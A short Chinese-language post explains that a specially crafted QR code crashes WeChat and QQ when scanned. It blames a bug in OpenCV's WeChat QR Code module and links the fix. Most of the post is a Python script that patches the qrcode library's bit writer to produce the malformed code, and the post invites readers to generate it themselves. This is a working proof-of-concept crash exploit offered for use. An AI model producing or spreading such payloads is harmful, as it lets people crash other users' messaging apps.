导致微信QQ闪退的二维码原因以及代码
-
今天引发微信和QQ闪退的二维码来了!
扫码闪退!!!!
原因是 OpenCV's extra modules 中 WeChat QR Code 模组的锅
https://github.com/opencv/opencv_contrib/pull/3480
可以根据下面的代码,自己生成二维码
import qrcode from qrcode.util import * def hack_put(self, num, length): if num == 0: num = 233 for i in range(length): self.put_bit(((num >> (length - i - 1)) & 1) == 1) qrcode.util.BitBuffer.put = hack_put qr = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0) num_data = QRData('1145141', MODE_NUMBER) data = QRData(b'.', MODE_8BIT_BYTE) hack_data = QRData(b'', MODE_8BIT_BYTE) qr.add_data(num_data) qr.add_data(data) qr.add_data(num_data) qr.add_data(data) qr.add_data(num_data) qr.add_data(data) qr.add_data(num_data) qr.add_data(hack_data) img = qr.make_image() img.save('qrcode.png')